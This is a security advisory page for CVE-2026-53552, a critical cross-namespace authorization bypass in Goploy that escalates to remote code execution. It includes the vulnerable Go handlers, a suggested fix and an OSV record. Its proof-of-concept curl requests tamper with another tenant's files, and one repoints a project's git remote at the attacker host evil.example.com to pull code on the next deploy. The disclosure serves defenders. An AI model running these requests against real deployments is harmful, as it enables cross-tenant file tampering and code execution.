CVE-2026-53552: Goploy Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-26rh-24rg-j3vv
CVSS 9.6
CWE-639 CWE-863
Published
Advisory Summary

CVE-2026-53552 is a CRITICAL (CVSS 9.6) remote code execution vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Goploy libraries in the Go ecosystem. The issue involves cross-namespace idor and rce via body-supplied row id in project and project_file handlers. Remediation is available in the latest vendor maintenance releases.

CVE-2026-53552 at a Glance

CVE Identifier CVE-2026-53552
GHSA Identifier GHSA-26rh-24rg-j3vv
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Goploy
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-53552

To remediate this vulnerability, upgrade all affected Goploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/zhenorzz/goploy fixed: Latest secure release
Upgrade github.com/zhenorzz/goploy to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/zhenorzz/goploy

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53552, inspect your project dependencies for Goploy:

inspect dependencies for github.com/zhenorzz/goploy

Analyze the terminal output to locate any version of Goploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Goploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree. ### Affected `zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`). The four handlers and the model lookups have been in this shape across the file API and project metadata API. ### Vulnerable code `cmd/server/api/project/handler.go::AddFile` (creates file under any project's directory; body controls `projectId`): ```go func (Project) AddFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectID int64 `json:"projectId" validate:"required,gt=0"` Content string `json:"content" validate:"required"` Filename string `json:"filename" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename) // ... os.Create(filePath); file.WriteString(reqData.Content) id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow() } ``` `cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row): ```go func (Project) EditFile(gp *server.Goploy) server.Response { type ReqData struct { ID int64 `json:"id" validate:"required,gt=0"` Content string `json:"content" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData() // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)) file.WriteString(reqData.Content) } ``` `cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id): ```go func (Project) RemoveFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData() if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... } } ``` `cmd/server/api/project/handler.go::Edit` (updates any project's metadata; on URL change runs `git remote set-url` in the project working tree): ```go func (Project) Edit(gp *server.Goploy) server.Response { // ... ReqData has ID, Name, URL, Branch, Script, etc. projectData, err := model.Project{ID: reqData.ID}.GetData() model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow() if reqData.URL != projectData.URL { srcPath := config.GetProjectPath(projectData.ID) cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL) cmd.Dir = srcPath } } ``` `internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join: ```go func (pf ProjectFile) GetData() (ProjectFile, error) { err := sq. Select("id, project_id, filename, insert_time, update_time"). From(projectFileTable). Where(sq.Eq{"id": pf.ID}). ... } ``` `internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`: ```go func (r Route) hasPermission(permissionIDs map[int64]struct{}) error { if len(r.permissionIDs) == 0 { return nil } for _, permissionID := range r.permissionIDs { if _, ok := permissionIDs[permissionID]; ok { return nil } } return errors.New("no permission") } ``` ### Reachable Any logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints. ### Proof of concept Setup against the published Docker image: ```bash docker network create goploy-net docker run -d --name goploy-mysql --network goploy-net \ -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \ mysql:8.0 --default-authentication-plugin=mysql_native_password # Wait for MySQL, then load schema docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql' # Mount goploy.toml pointing DB at goploy-mysql:3306 docker run -d --name goploy-app --network goploy-net -p 18080:80 \ -v $PWD/repo:/opt/goploy/repository \ zhenorzz/goploy:1.17.5 ``` Set up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace: ```bash # Admin login (default account admin / admin!@# requires first-login change) curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \ -H 'Content-Type: application/json' \ -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}' ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json' # Create NS_B curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}' # → {"data":{"id":2}} # Create alice (id=2) and bob (id=3) curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}' curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}' # Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1) curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":1,"userIds":[2],"roleId":1}' curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":2,"userIds":[3],"roleId":1}' # As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1) curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \ -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync", "transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \ -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}' # Bob logs in (first-login change) curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \ -H 'Content-Type: application/json' \ -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}' BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json' ``` Negative control: Bob's own namespace has no projects. ```bash curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100" # → {"code":0,"data":{"list":[]}} ``` Exploit 1 — Bob overwrites Alice's file content: ```bash curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \ -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}' # → {"code":0,"message":"","data":null} docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml # OWNED BY BOB # attacker_namespace: ns_b ``` Exploit 2 — Bob plants a new file in Alice's project directory: ```bash curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \ -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}' # → {"code":0,"message":"","data":{"id":2}} docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/ # .env.attacker alice-secrets.yml ``` Exploit 3 — Bob deletes Alice's file: ```bash curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \ -d '{"projectFileId":1}' # → {"code":0,"message":"","data":null} # alice-secrets.yml is gone from project_1/. ``` Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs `git -C <alice-prod-tree> remote set-url origin <attacker-url>` and clones / pulls attacker code, leading to RCE under goploy's user: ```bash curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \ -d '{"id":1,"name":"alice-prod","repoType":"git", "url":"git@evil.example.com:attacker/payload.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master", "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' # → {"code":0,"message":"","data":null} docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \ -e "SELECT name,url FROM project WHERE id=1;" # alice-prod | git@evil.example.com:attacker/payload.git ``` Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working. ### Suggested fix Add a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over. `internal/model/project_file.go`: ```go func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) { var projectFile ProjectFile err := sq. Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time"). From(projectFileTable + " pf"). Join("project p ON p.id = pf.project_id"). Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}). RunWith(DB). QueryRow(). Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename, &projectFile.InsertTime, &projectFile.UpdateTime) return projectFile, err } ``` `internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`. `cmd/server/api/project/handler.go`: - `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`. - `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`. - `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`. `sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones. ### Patch Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them. ### Credit Reported by tonghuaroot.

CVE-2026-53552 Affected Goploy Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/zhenorzz/goploy
Go
≤ 1.17.5

References

Frequently Asked Questions

What is CVE-2026-53552?
CVE-2026-53552 is a security vulnerability in Goploy involving Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Goploy versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/zhenorzz/goploy.
What version fixes CVE-2026-53552?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/zhenorzz/goploy affected?
Yes, github.com/zhenorzz/goploy is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-53552?
CVE-2026-53552 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-53552?
CVE-2026-53552 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Go dependencies for CVE-2026-53552?
Run the dependency tree command: 'inspect dependencies for github.com/zhenorzz/goploy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-26rh-24rg-j3vv",
  "modified" : "2026-07-07T23:42:12Z",
  "published" : "2026-07-07T23:42:12Z",
  "aliases" : [ "CVE-2026-53552" ],
  "summary" : "Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers",
  "details" : "### Summary\n\n`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree.\n\n### Affected\n\n`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).\n\nThe four handlers and the model lookups have been in this shape across the file API and project metadata API.\n\n### Vulnerable code\n\n`cmd/server/api/project/handler.go::AddFile` (creates file under any project's directory; body controls `projectId`):\n\n```go\nfunc (Project) AddFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ProjectID int64  `json:\"projectId\" validate:\"required,gt=0\"`\n        Content   string `json:\"content\" validate:\"required\"`\n        Filename  string `json:\"filename\" validate:\"required\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(&reqData); err != nil { ... }\n\n    filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)\n    // ... os.Create(filePath); file.WriteString(reqData.Content)\n    id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()\n}\n```\n\n`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):\n\n```go\nfunc (Project) EditFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ID      int64  `json:\"id\" validate:\"required,gt=0\"`\n        Content string `json:\"content\" validate:\"required\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(&reqData); err != nil { ... }\n\n    projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()\n    // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))\n    file.WriteString(reqData.Content)\n}\n```\n\n`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):\n\n```go\nfunc (Project) RemoveFile(gp *server.Goploy) server.Response {\n    type ReqData struct {\n        ProjectFileID int64 `json:\"projectFileId\" validate:\"required,gt=0\"`\n    }\n    var reqData ReqData\n    if err := gp.Decode(&reqData); err != nil { ... }\n    projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()\n    if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }\n}\n```\n\n`cmd/server/api/project/handler.go::Edit` (updates any project's metadata; on URL change runs `git remote set-url` in the project working tree):\n\n```go\nfunc (Project) Edit(gp *server.Goploy) server.Response {\n    // ... ReqData has ID, Name, URL, Branch, Script, etc.\n    projectData, err := model.Project{ID: reqData.ID}.GetData()\n    model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()\n    if reqData.URL != projectData.URL {\n        srcPath := config.GetProjectPath(projectData.ID)\n        cmd := exec.Command(\"git\", \"remote\", \"set-url\", \"origin\", reqData.URL)\n        cmd.Dir = srcPath\n    }\n}\n```\n\n`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:\n\n```go\nfunc (pf ProjectFile) GetData() (ProjectFile, error) {\n    err := sq.\n        Select(\"id, project_id, filename, insert_time, update_time\").\n        From(projectFileTable).\n        Where(sq.Eq{\"id\": pf.ID}).\n        ...\n}\n```\n\n`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:\n\n```go\nfunc (r Route) hasPermission(permissionIDs map[int64]struct{}) error {\n    if len(r.permissionIDs) == 0 { return nil }\n    for _, permissionID := range r.permissionIDs {\n        if _, ok := permissionIDs[permissionID]; ok { return nil }\n    }\n    return errors.New(\"no permission\")\n}\n```\n\n### Reachable\n\nAny logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.\n\n### Proof of concept\n\nSetup against the published Docker image:\n\n```bash\ndocker network create goploy-net\ndocker run -d --name goploy-mysql --network goploy-net \\\n    -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \\\n    mysql:8.0 --default-authentication-plugin=mysql_native_password\n\n# Wait for MySQL, then load schema\ndocker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql\ndocker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'\n\n# Mount goploy.toml pointing DB at goploy-mysql:3306\ndocker run -d --name goploy-app --network goploy-net -p 18080:80 \\\n    -v $PWD/repo:/opt/goploy/repository \\\n    zhenorzz/goploy:1.17.5\n```\n\nSet up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace:\n\n```bash\n# Admin login (default account admin / admin!@# requires first-login change)\ncurl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"account\":\"admin\",\"password\":\"admin!@#\",\"newPassword\":\"Admin!@#2026\"}'\n\nADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'\n\n# Create NS_B\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{\"name\":\"ns_b\"}'\n# → {\"data\":{\"id\":2}}\n\n# Create alice (id=2) and bob (id=3)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n    -d '{\"account\":\"alice\",\"password\":\"Alice!@#2026\",\"name\":\"Alice\",\"contact\":\"\",\"superManager\":0}'\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n    -d '{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"name\":\"Bob\",\"contact\":\"\",\"superManager\":0}'\n\n# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n    -d '{\"namespaceId\":1,\"userIds\":[2],\"roleId\":1}'\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n    -d '{\"namespaceId\":2,\"userIds\":[3],\"roleId\":1}'\n\n# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \\\n    -d '{\"name\":\"alice-prod\",\"repoType\":\"git\",\"url\":\"https://github.com/zhenorzz/goploy.git\",\n         \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\"transferType\":\"rsync\",\n         \"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n         \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n                   \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}'\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \\\n    -d '{\"projectId\":1,\"filename\":\"alice-secrets.yml\",\"content\":\"# Alice secret\\napi_key: ALICE_API_KEY_2026\\n\"}'\n\n# Bob logs in (first-login change)\ncurl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"newPassword\":\"BobBob!@#2026\"}'\n\nBOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'\n```\n\nNegative control: Bob's own namespace has no projects.\n\n```bash\ncurl -s $BOB_HDR \"http://localhost:18080/project/getList?page=1&rows=100\"\n# → {\"code\":0,\"data\":{\"list\":[]}}\n```\n\nExploit 1 — Bob overwrites Alice's file content:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \\\n    -d '{\"id\":1,\"content\":\"OWNED BY BOB\\nattacker_namespace: ns_b\\n\"}'\n# → {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml\n# OWNED BY BOB\n# attacker_namespace: ns_b\n```\n\nExploit 2 — Bob plants a new file in Alice's project directory:\n\n```bash\ncurl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \\\n    -d '{\"projectId\":1,\"filename\":\".env.attacker\",\"content\":\"PWN=bob_from_ns_b\"}'\n# → {\"code\":0,\"message\":\"\",\"data\":{\"id\":2}}\n\ndocker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/\n# .env.attacker   alice-secrets.yml\n```\n\nExploit 3 — Bob deletes Alice's file:\n\n```bash\ncurl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \\\n    -d '{\"projectFileId\":1}'\n# → {\"code\":0,\"message\":\"\",\"data\":null}\n# alice-secrets.yml is gone from project_1/.\n```\n\nExploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs `git -C <alice-prod-tree> remote set-url origin <attacker-url>` and clones / pulls attacker code, leading to RCE under goploy's user:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \\\n    -d '{\"id\":1,\"name\":\"alice-prod\",\"repoType\":\"git\",\n         \"url\":\"git@evil.example.com:attacker/payload.git\",\n         \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\n         \"transferType\":\"rsync\",\"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n         \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n                   \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}'\n# → {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-mysql mysql -uroot -pgoploy123 goploy \\\n    -e \"SELECT name,url FROM project WHERE id=1;\"\n# alice-prod | git@evil.example.com:attacker/payload.git\n```\n\nPositive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.\n\n### Suggested fix\n\nAdd a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over.\n\n`internal/model/project_file.go`:\n\n```go\nfunc (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {\n    var projectFile ProjectFile\n    err := sq.\n        Select(\"pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time\").\n        From(projectFileTable + \" pf\").\n        Join(\"project p ON p.id = pf.project_id\").\n        Where(sq.Eq{\"pf.id\": pf.ID, \"p.namespace_id\": namespaceID}).\n        RunWith(DB).\n        QueryRow().\n        Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,\n             &projectFile.InsertTime, &projectFile.UpdateTime)\n    return projectFile, err\n}\n```\n\n`internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`.\n\n`cmd/server/api/project/handler.go`:\n\n- `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`.\n- `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`.\n- `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`.\n\n`sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones.\n\n### Patch\n\nFix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zhenorzz/goploy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.17.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zhenorzz/goploy/security/advisories/GHSA-26rh-24rg-j3vv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zhenorzz/goploy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-863" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-07T23:42:12Z",
    "nvd_published_at" : null
  }
}